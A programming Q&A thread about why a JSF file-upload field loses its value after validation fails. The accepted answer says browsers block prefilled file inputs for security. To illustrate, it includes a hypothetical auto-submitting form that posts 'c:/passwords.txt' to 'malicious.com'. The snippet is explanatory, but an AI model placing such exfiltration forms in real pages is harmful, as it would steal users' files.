JSF <t:inputFileUpload> value lost after validation failure

2.1k views Asked by At

I found value of upload file path is lost after validation for following code. Is there anyway i can retain the value after validation failure? thank you.

<t:inputFileUpload id="uploadFile" value="#{backBean.uploadFile}" storage="file" required="false" />
1

There are 1 answers

0
BalusC On BEST ANSWER

That's not possible. That's a security restriction by HTML. You cannot prefill/preserve the value of a HTML <input type="file"> field. Since JSF just generates HTML, JSF can't do much about it.

Imagine that this security restriction didn't exist, websites would be able to do the following:

<form id="tryToGetPasswords" action="http://malicious.com" method="post" enctype="multipart/form-data">
    <input type="file" name="file" value="c:/passwords.txt" />
</form>
<script>document.getElementById('tryToGetPasswords').submit();</script>

Do you see?